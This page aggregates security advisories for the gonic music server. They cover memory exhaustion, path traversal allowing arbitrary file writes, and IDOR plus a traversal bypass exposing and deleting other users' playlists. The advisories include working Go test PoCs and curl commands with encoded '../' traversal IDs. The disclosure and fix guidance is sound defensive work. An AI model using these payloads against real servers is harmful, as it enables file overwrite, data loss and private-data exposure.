Where
-Infinity
0
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Gonic through 0.23.0 contains a memory exhaustion vulnerability in the POST /admin/changeavatardo handler that decodes uploaded avatars without checking declared image dimensions. Authenticated low-privileged users can upload a compressible PNG, GIF, or JPEG declaring huge dimensions to force multi-gigabyte allocations and crash gonic for all users.

First published (updated )
Severity
8.1
Path Traversal, SQL Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary

A logic error in ServeCreateOrUpdatePlaylist allows any authenticated Subsonic user (including non-admin) to write playlist M3U content to an attacker-controlled absolute filesystem path on the gonic host, and to create intermediate directories with 0o777 permissions.

The bug is independent of the playlist ownership IDOR fixed in 6dd71e6: it is an unreachable guard clause combined with no path containment in Store.Write.

Root cause — unreachable guard clause

server/ctrlsubsonic/handlersplaylist.go:74-90:

go func (c Controller) ServeCreateOrUpdatePlaylist(r http.Request) spec.Response { user := r.Context().Value(CtxUser).(db.User) params := r.Context().Value(CtxParams).(params.Params)

playlistID, := params.GetFirstID("id", "playlistId") playlistPath := playlistIDDecode(playlistID) // attacker-controlled, base64-decoded

var playlist playlistp.Playlist if playlistPath != "" { if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil { // ^^^^^^^^^^^^^^^^^^^^^^^^^ // this condition is UNREACHABLE playlist = pl } }

if playlist.UserID != 0 && playlist.UserID != user.ID { return spec.NewError(50, "you aren't allowed update that user's playlist") } ...

playlist.Store.Read (playlist/playlist.go:88-144) returns either (Playlist, nil) on success or (nil, err) on any failure path. There is no return path of (non-nil, non-nil-err).

So the inner branch err != nil && pl != nil is always false, the playlist = pl assignment never executes, and playlist stays at its zero value with UserID = 0. The subsequent guard playlist.UserID != 0 && playlist.UserID != user.ID simplifies to false && (anything) and always passes, regardless of who owns the target path.

Root cause — no path containment in Store.Write

playlist/playlist.go:146-160:

go func (s Store) Write(relPath string, playlist Playlist) error { defer lock(&s.mu)() if err := sanityCheck(s.basePath); err != nil { return err } absPath := filepath.Join(s.basePath, relPath) if err := os.MkdirAll(filepath.Dir(absPath), 0o777); err != nil { // world-writable! return fmt.Errorf("make m3u base dir: %w", err) } file, err := os.OpenFile(absPath, os.ORDWR|os.OCREATE, 0o666) // create-or-open ... if err := file.Truncate(0); err != nil { // wipe existing ... }

filepath.Join("/var/lib/gonic/playlists", "../../etc/cron.daily/anything") resolves to /var/lib/gonic/etc/cron.daily/anything — Go's filepath.Join does NOT prevent .. traversal. Combined with the missing guard above, any authenticated user controls the destination path.

Live PoC — passing Go test

Drop this into server/ctrlsubsonic/handlersplaylistwritetraversaltest.go and run go test -run TestCreatePlaylistArbitraryWriteRawPath ./server/ctrlsubsonic/ -v:

go package ctrlsubsonic

import ( "net/url" "os" "path/filepath" "testing"

"github.com/stretchr/testify/require" )

func TestCreatePlaylistArbitraryWriteRawPath(t testing.T) { f := newFixture(t)

// playlistStore.basePath = <tmp>/playlists/. A relPath of "../injected.m3u" // resolves under the parent <tmp> dir — escaping the playlists/ subtree. traversalRel := filepath.Join("..", "injected.m3u") traversalID := playlistIDEncode(traversalRel).String()

// f.alt is the NON-ADMIN user (ID=2). resp := f.query(t, f.contr.ServeCreateOrUpdatePlaylist, f.alt, url.Values{ "id": {traversalID}, "name": {"injected-by-low-priv-user"}, }) t.Logf("resp: %+v", string(resp))

tmpDir := filepath.Dir(f.contr.musicPaths[0].Path) target := filepath.Join(tmpDir, "injected.m3u") stat, err := os.Stat(target) require.NoError(t, err, "VULNERABLE if the file exists outside playlists/") require.False(t, stat.IsDir())

contents, err := os.ReadFile(target) require.NoError(t, err) t.Logf("VULNERABLE — file written at %s\n%s", target, string(contents)) }

Test output against current master HEAD 6dd71e6:

=== RUN TestCreatePlaylistArbitraryWriteRawPath resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true, "playlist":{"id":"pl-Li4vaW5qZWN0ZWQubTN1","name":"injected-by-low-priv-user",..., "owner":"alt","songCount":0,...}}} VULNERABLE — file written at /var/folders/.../TestCreatePlaylistArbitraryWriteRawPath.../001/injected.m3u #GONIC-NAME:"injected-by-low-priv-user" #GONIC-COMMENT:"" #GONIC-IS-PUBLIC:"false" --- PASS: TestCreatePlaylistArbitraryWriteRawPath (0.05s)

The file was created at <tmp>/injected.m3u while the playlist store's basePath is <tmp>/playlists/ — write succeeded outside the intended directory.

HTTP-level reproduction

bash Target a writable path on the gonic host. Encode "../../../var/log/anything.log" (note: gonic must be able to write there) RAW='../../../var/log/anything.log' ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '-')"

curl -s "http://gonic-host/rest/createPlaylist.view?u=lowpriv&p=pass&c=poc&v=1.16.1&f=json&id=$ID&name=injected" \ | python3 -m json.tool Response: {"subsonic-response":{"status":"ok",...}} Side effect: file written at /var/log/anything.log with M3U structured content, intermediate directories created with 0o777 permissions.

Impact

- Integrity: Any authenticated user can overwrite (truncate-and-rewrite) any file the gonic process has write access to: gonic's own SQLite database, configuration files, log files, cache, audit trails, M3U files of other users. The write is M3U-structured (#GONIC-NAME: / #GONIC-COMMENT: / #GONIC-IS-PUBLIC: attributes, plus song paths), but the name value is attacker-controlled and structurally placed (no newline injection; strconv.Quote escapes specials). - Availability: Overwriting gonic.db (or wherever the SQLite file lives) destroys all user state — accounts, ratings, playlists, etc. The write is unrecoverable. - Filesystem state: MkdirAll(dir, 0o777) creates intermediate directories as world-writable, regardless of the umask, which is itself a hardening issue alongside the traversal. - Trust boundary: gonic explicitly supports a non-admin user role (ServeCreateUser, the IsAdmin flag). This bug grants every non-admin user a destructive filesystem-write primitive into the host process's working set. - Content control is structural (cannot inject newlines into the M3U attribute lines), so direct shell/web-shell injection requires a target file format that tolerates the #GONIC-NAME:"..." header. Pure-destructive primitives (overwrite/truncate, fill-by-mkdir) work universally.

CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H = 8.1 High

Suggested fix

Two changes, either of which mitigates this:

1. Fix the unreachable guard at handlersplaylist.go:83:

go // Currently (BROKEN): if pl, err := c.playlistStore.Read(playlistPath); err != nil && pl != nil { playlist = pl }

// Fixed: if pl, err := c.playlistStore.Read(playlistPath); err == nil && pl != nil { playlist = pl }

This restores the ownership check for the case where the path resolves to an existing playlist. It does NOT fix the case where playlistPath points to a non-existent file (the Read fails, playlist stays zero-valued, ownership check still bypassed). So the second fix is also needed.

2. Add path containment in playlist/playlist.go::Store.Write (same helper proposed in the companion advisory):

go absPath := filepath.Join(s.basePath, relPath) rel, err := filepath.Rel(s.basePath, absPath) if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) { return fmt.Errorf("path %q escapes playlist directory", relPath) }

Apply the same guard in Read() and Delete() to close related primitives. Consider tightening MkdirAll from 0o777 to 0o755.

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Summary

In gonic, the Subsonic API endpoints /rest/deletePlaylist.view and /rest/getPlaylist.view perform no per-resource authorization. Once authenticated as any user (admin or not), an attacker can:

1. Delete any playlist owned by any other user (including admin) by passing its id. 2. Read the full contents (name, comment, song list) of any other user's private (non-public) playlist by passing its id.

The Subsonic playlist id is base64url("<userID>/<filename>.m3u"). Because filenames are user-supplied or time-derived and the userID is a small integer, IDs are guessable and frequently exposed (e.g. a previously-public playlist that was later made private still has the same ID).

This breaks the multi-user trust boundary of gonic: a low-privileged user can wipe an administrator's curated playlists, and a user can exfiltrate any private playlist they obtain an ID for.

Status

This was originally disclosed to the maintainer by email and has been fixed in commit 6dd71e6a3c966867ef8c900d359a7df75789f410 (fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist, 2026-05-18). The fix has not yet been included in a tagged release; the latest tagged version v0.20.1 is still vulnerable. Filing this advisory now that private vulnerability reporting is enabled on the repo, so the issue has a public record once the next release ships.

Vulnerable code (pre-fix, at v0.20.1 / commit 37090aa7)

Delete IDOR — server/ctrlsubsonic/handlersplaylist.go lines 177-187:

go func (c Controller) ServeDeletePlaylist(r http.Request) spec.Response { params := r.Context().Value(CtxParams).(params.Params) playlistID, err := params.GetFirstID("id", "playlistId") if err != nil { return spec.NewError(10, "please provide an id or playlistId parameter") } if err := c.playlistStore.Delete(playlistIDDecode(playlistID)); err != nil { return spec.NewError(0, "delete playlist: %v", err) } return spec.NewResponse() }

The handler never loads the playlist to check playlist.UserID == user.ID. Compare to ServeUpdatePlaylist (same file, line 138) which does perform this check.

Read IDOR — server/ctrlsubsonic/handlersplaylist.go lines 51-68:

go func (c Controller) ServeGetPlaylist(r http.Request) spec.Response { params := r.Context().Value(CtxParams).(params.Params) playlistID, err := params.GetFirstID("id", "playlistId") if err != nil { return spec.NewError(10, "please provide an id parameter") } playlist, err := c.playlistStore.Read(playlistIDDecode(playlistID)) if err != nil { return spec.NewError(70, "playlist with id %s not found", playlistID) } // ... never checks playlist.UserID or playlist.IsPublic ... sub.Playlist = rendered return sub }

The listing endpoint ServeGetPlaylists (line 38) correctly filters by playlist.UserID != user.ID && !playlist.IsPublic, but the singular getPlaylist did not.

Live PoC (passing Go test)

A reproducer against the existing test fixture (server/ctrlsubsonic):

go func TestIDORDeleteOtherUsersPlaylist(t testing.T) { f := newFixture(t) victimRelPath := filepath.Join("1", "victim-private.m3u") = f.contr.playlistStore.Write(victimRelPath, &playlistp.Playlist{ UserID: f.admin.ID, Name: "victim-private", IsPublic: false, Items: []string{"/music/foo.flac"}, }) victimID := playlistIDEncode(victimRelPath).String() // f.alt is a non-admin, non-owner user body := f.query(t, f.contr.ServeDeletePlaylist, f.alt, url.Values{"id": {victimID}}) // Subsonic returns status="ok" and the file is gone. }

Test output:

--- PASS: TestIDORReadOtherUsersPrivatePlaylist (0.07s) --- PASS: TestIDORDeleteOtherUsersPlaylist (0.07s) PASS ok go.senan.xyz/gonic/server/ctrlsubsonic 0.730s

Equivalent HTTP request

GET /rest/deletePlaylist.view?u=lowpriv&p=lowpriv&v=1&c=poc&f=json&id=cGwtMS1zaGFyZWQubTN1

Response: {"subsonic-response":{"status":"ok","version":"..."}} — playlist is gone.

Impact

- Integrity / Availability: low-privileged users can delete any other user's playlists, including admin's curated lists. There is no undo. - Confidentiality: private playlists (including their comment fields) are readable by any authenticated user with an ID. IDs are predictable (base64("<smallUserID>/<name>.m3u")) and previously-public IDs persist after being marked private. - Trust boundary: gonic supports multiple users (createUser, non-admin role). This bug collapsed the user-to-user authorization model.

Affected versions

Latest tagged release v0.20.1 and all prior versions back to when the playlist M3U store was introduced. Master HEAD is fixed at commit 6dd71e6a3c966867ef8c900d359a7df75789f410.

Suggested patch (applied by maintainer in 6dd71e6)

Load the playlist first and enforce ownership in both handlers:

go // ServeGetPlaylist if playlist.UserID != user.ID && !playlist.IsPublic { return spec.NewError(50, "you aren't allowed to read that user's playlist") }

// ServeDeletePlaylist if playlist.UserID != 0 && playlist.UserID != user.ID { return spec.NewError(50, "you aren't allowed to delete that user's playlist") }

This mirrors the existing ownership check already present in ServeCreateOrUpdatePlaylist (line 84) and ServeUpdatePlaylist (line 138).

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Summary

The maintainer's recent fix in 6dd71e6a3c966867ef8c900d359a7df75789f410 (fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist) added an ownership check based on playlist.UserID. However, playlist.UserID is derived from the first path segment of the attacker-controlled playlist ID, with no path containment on the resolved file path.

Any authenticated Subsonic user can therefore bypass the ownership check and:

1. Read any other user's playlist (name, comment, IsPublic flag, song list) by crafting a base64-encoded playlist ID whose first segment matches their own user ID, followed by .. traversal segments pointing into another user's playlist directory. 2. Delete any other user's playlist (including admin's curated playlists) by the same trick against deletePlaylist. 3. Probe arbitrary file paths on the host for existence/readability.

This is a bypass of the boundary the 6dd71e6 fix is trying to enforce; it is closely related to the original GONIC-1 IDOR but uses a different primitive (path traversal in the id parameter rather than direct cross-user access).

Root cause

server/ctrlsubsonic/handlersplaylist.go::playlistIDDecode performs raw base64 decode of the id parameter and passes the byte string straight to playlistStore.Read/Delete:

go func playlistIDDecode(id specid.ID) string { path, := base64.URLEncoding.DecodeString(id.StringValue) return string(path) }

playlist/playlist.go::Store.Read then:

go absPath := filepath.Join(s.basePath, relPath) // no containment check // ... playlist.UserID, err = userIDFromPath(relPath) // extracts firstPathEl, e.g. "2" if err != nil { playlist.UserID = 1 // fallback }

userIDFromPath reads only the first segment via firstPathEl(relPath) (strconv.Atoi of strings.Split(path, "/")[0]). It does not validate that the cleaned absolute path stays under s.basePath.

The id parameter is base64-decoded as raw bytes (no path cleaning at decode time), so a payload like "2/../../<victim>/playlist.m3u" is preserved verbatim. userIDFromPath extracts "2" (the attacker's own user ID), playlist.UserID = 2, and the ownership check playlist.UserID != user.ID && !playlist.IsPublic becomes 2 != 2 && ... → false → access allowed. Meanwhile filepath.Join resolves the .. segments and escapes basePath.

Affected code

- playlist/playlist.go:88-144 — Store.Read joins relPath with basePath without containment validation - playlist/playlist.go:200-206 — Store.Delete (same pattern) - playlist/playlist.go:208-220 — userIDFromPath / firstPathEl trust only the first path segment - server/ctrlsubsonic/handlersplaylist.go:51-72 — ServeGetPlaylist ownership check - server/ctrlsubsonic/handlersplaylist.go:182-202 — ServeDeletePlaylist ownership check - server/ctrlsubsonic/handlersplaylist.go:209-212 — playlistIDDecode (no validation)

Live PoC — passing Go test

Drop this into server/ctrlsubsonic/handlersplaylistreadtraversaltest.go and run go test -run TestGetPlaylistArbitraryReadNonAdminUserIDPrefix ./server/ctrlsubsonic/ -v:

go package ctrlsubsonic

import ( "fmt" "net/url" "os" "path/filepath" "testing"

"github.com/stretchr/testify/require" )

func TestGetPlaylistArbitraryReadNonAdminUserIDPrefix(t testing.T) { f := newFixture(t) t.Logf("alt user ID: %d, admin user ID: %d", f.alt.ID, f.admin.ID)

// Plant a sentinel M3U file outside the playlists directory. tmpDir := filepath.Dir(f.contr.musicPaths[0].Path) sentinelDir := filepath.Join(tmpDir, "sensitive") require.NoError(t, os.MkdirAll(sentinelDir, 0o755)) sentinelPath := filepath.Join(sentinelDir, "secret.m3u") require.NoError(t, os.WriteFile(sentinelPath, []byte(#GONIC-NAME:"victim-secret" #GONIC-COMMENT:"sensitive content" #GONIC-IS-PUBLIC:"false" ), 0o644))

// RAW string — playlistIDDecode does base64 only, no path cleaning. rawRel := fmt.Sprintf("%d/../../sensitive/secret.m3u", f.alt.ID) traversalID := playlistIDEncode(rawRel).String()

// f.alt is the NON-ADMIN user. resp := f.query(t, f.contr.ServeGetPlaylist, f.alt, url.Values{"id": {traversalID}}) t.Logf("resp: %s", string(resp))

require.Contains(t, string(resp), "victim-secret", "VULNERABLE: non-admin user (ID=%d) read playlist outside playlists/", f.alt.ID) }

Test output against current master HEAD 6dd71e6:

=== RUN TestGetPlaylistArbitraryReadNonAdminUserIDPrefix alt user ID: 2, admin user ID: 1 resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true, "playlist":{"id":"pl-Mi8uLi8uLi9zZW5zaXRpdmUvc2VjcmV0Lm0zdQ==", "name":"victim-secret","comment":"sensitive content","owner":"alt", "songCount":0,"created":"...","changed":"...","duration":0}}} --- PASS: TestGetPlaylistArbitraryReadNonAdminUserIDPrefix (0.06s)

The same approach against ServeDeletePlaylist (f.contr.ServeDeletePlaylist) deletes the targeted file.

HTTP-level reproduction

bash Attacker user (ID = N) reads target playlist owned by user M. Construct the raw rel path: "N/../M/<filename>.m3u" ATTACKERID=2 RAW='2/../1/shared.m3u'

base64-url-encode (no padding stripping needed since playlistIDDecode tolerates it) ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '/+' '-')"

curl -s "http://gonic-host/rest/getPlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID" \ | python3 -m json.tool Response includes name, comment, IsPublic, and song list from the victim's playlist.

Impact

- Confidentiality: Any authenticated user can read any other user's playlist content, including the private (IsPublic=false) playlists that the recent 6dd71e6 fix specifically tried to protect. - Integrity / Availability: Any authenticated user can delete any other user's playlists, including admin's curated lists. Same bypass technique works against ServeDeletePlaylist. - Trust boundary: gonic explicitly supports multi-user deployments. This bug defeats the user-to-user authorization model that the maintainer just patched. - Arbitrary file content read is constrained by gonic's M3U parser — only #GONIC-NAME: / #GONIC-COMMENT: attributes from the target file survive parsing. File-existence probing works against arbitrary paths.

CVSS

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 7.1 High

Suggested fix

Add path containment in playlist/playlist.go for Store.Read, Store.Write, and Store.Delete — reject any relPath that escapes s.basePath after filepath.Join:

go func (s Store) contained(relPath string) (string, error) { absPath := filepath.Join(s.basePath, relPath) rel, err := filepath.Rel(s.basePath, absPath) if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(filepath.Separator)) { return "", fmt.Errorf("path %q escapes playlist directory", relPath) } return absPath, nil }

func (s Store) Read(relPath string) (Playlist, error) { defer lock(&s.mu)() if err := sanityCheck(s.basePath); err != nil { return nil, err } absPath, err := s.contained(relPath) if err != nil { return nil, err } // ... rest unchanged, using absPath }

Apply in Write() (line 153) and Delete() (line 206) as well. The ownership check at 6dd71e6 then becomes a defense-in-depth layer on top of the structural containment.

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203